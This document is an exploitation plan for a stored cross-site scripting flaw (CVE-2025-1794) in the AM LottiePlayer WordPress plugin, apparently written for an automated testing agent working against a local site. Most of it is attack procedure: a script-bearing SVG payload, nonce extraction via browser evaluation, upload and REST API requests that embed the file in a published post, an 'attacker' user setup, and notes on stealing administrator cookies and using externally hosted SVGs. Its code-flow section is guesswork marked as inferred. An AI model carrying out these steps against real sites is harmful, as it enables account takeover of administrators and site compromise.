Exploitation Research Plan - CVE-2025-1794 (AM LottiePlayer Stored XSS)

1. Vulnerability Summary

The AM LottiePlayer plugin (versions <= 3.6.0) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability arises because the plugin allows users with Author-level permissions and above to upload or specify SVG files as animation sources. These SVGs are subsequently rendered on the frontend (or within the editor) without proper sanitization (e.g., using wp_kses for SVGs or stripping <script> and event handlers). When an SVG containing malicious JavaScript is processed and displayed, the script executes in the context of any user viewing the page, including Administrators.

2. Attack Vector Analysis

• Vulnerable Endpoint: The vulnerability is likely triggered via a WordPress shortcode or a Gutenberg block provided by the plugin.
• Payload Delivery: A malicious SVG file is uploaded to the Media Library or a custom plugin folder and then referenced in a Lottie Player instance.
• Authentication Level: Author+ (Author, Editor, or Administrator). Authors have the upload_files capability by default, which is necessary to upload the malicious SVG if the plugin uses the standard Media Library.
• Preconditions: The plugin must be active, and a user with Author permissions must be able to publish a post or page containing the plugin's player element.

3. Code Flow (Inferred)

1. Entry Point (Admin/Editor): An Author creates a new post and adds an "AM LottiePlayer" block or uses a shortcode (e.g., [am-lottieplayer]).
2. Asset Selection: The user selects an SVG file. The plugin may use a custom AJAX handler for uploads or the standard async-upload.php.
3. Storage: The URL of the SVG is saved in the post content (as a shortcode attribute) or in post meta (for blocks).
4. Frontend Processing: When the post is viewed, the plugin's rendering function (e.g., render_shortcode or a block render callback) retrieves the SVG URL.
5. The Sink: To allow for animation and manipulation, the plugin likely fetches the SVG content using wp_remote_get() or file_get_contents() and outputs it inline in the HTML.
6. Execution: Because the SVG content is echoed without sanitization (e.g., missing wp_kses), any <script> or onload attributes within the SVG are executed by the browser.

4. Nonce Acquisition Strategy

If the plugin uses a custom AJAX handler for uploading animation files, a nonce will be required.

1. Identify Shortcode/Block: The plugin likely registers its assets in a class or function. Search for add_shortcode or register_block_type.
2. Locate Localization: Look for wp_localize_script in the plugin code. The variable name is often related to the plugin slug, e.g., am_lottie_vars or am_lottie_params.
3. Extraction Procedure:
   • Create a post containing the Lottie Player.
   • Navigate to the "LottiePlayer" settings page or a post editor page where the plugin is active.
   • Use browser_eval to extract the nonce:

     // Example target (replace with actual variable found in source)
     window.am_lottie_params?.nonce || window.am_lottie_admin?.upload_nonce
     

4. Bypass Check: Verify if check_ajax_referer is used in the upload handler. If missing, a nonce may not be required for the POST request.

5. Exploitation Strategy

Step 1: Prepare the Malicious SVG

Create a file named xss.svg with a simple alert payload:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert('XSS by ' + document.domain);
   </script>
</svg>

Step 2: Upload the SVG

Since the user is an Author, use the standard WordPress media upload endpoint:

• URL: http://localhost:8080/wp-admin/async-upload.php
• Method: POST
• Content-Type: multipart/form-data
• Parameters:
  • action: upload-attachment
  • _wpnonce: (Acquired from wp-admin/media-new.php via browser_eval)
  • async-upload: The xss.svg file content.

Step 3: Embed the SVG in a Post

Create a post using the plugin's shortcode. Based on the slug am-lottieplayer, the shortcode is likely [am-lottieplayer].

• URL: http://localhost:8080/wp-json/wp/v2/posts
• Method: POST
• Body:

  {
    "title": "Lottie Test",
    "content": "[am-lottieplayer url=\"http://localhost:8080/wp-content/uploads/2025/xx/xss.svg\"]",
    "status": "publish"
  }
  

(Note: Use the exact URL returned from the upload in Step 2).

Step 4: Trigger the XSS

Navigate to the newly created post as any user (e.g., Administrator).

6. Test Data Setup

1. User Creation: Create a user with the Author role.

   wp user create attacker attacker@example.com --role=author --user_pass=password
   

2. Plugin Setup: Ensure am-lottieplayer is installed and activated.
3. Nonce Retrieval: Use browser_navigate as the attacker user to wp-admin/media-new.php to extract the _wpnonce for media uploads.

7. Expected Results

• The HTTP request to view the post containing the shortcode will return HTML where the SVG content is embedded inline.
• The browser will execute the alert() contained within the SVG.
• In a real-world scenario, the payload would exfiltrate the Administrator's cookies or perform actions via the REST API.

8. Verification Steps

1. Check SVG Inclusion: After the exploit, use curl or http_request to fetch the post content and check if the SVG's <script> tag is present without encoding.

   curl -s http://localhost:8080/path-to-post | grep "alert('XSS"
   

2. Check Database: Verify the post content via WP-CLI to ensure the shortcode was saved correctly.

   wp post list --post_type=post
   

9. Alternative Approaches

• Gutenberg Block: If the shortcode doesn't work, try creating a post with a Lottie Block. This requires a JSON payload to wp-json/wp/v2/posts containing the block markup:

  <!-- wp:am-lottieplayer/lottie-block {"url":"http://.../xss.svg"} /-->
  

• External URL: If the plugin allows remote SVG URLs, bypass the upload step by hosting the xss.svg on an external server and providing that URL to the player. This would escalate the vulnerability from Author+ to potentially any user if a publicly accessible form allows setting Lottie URLs.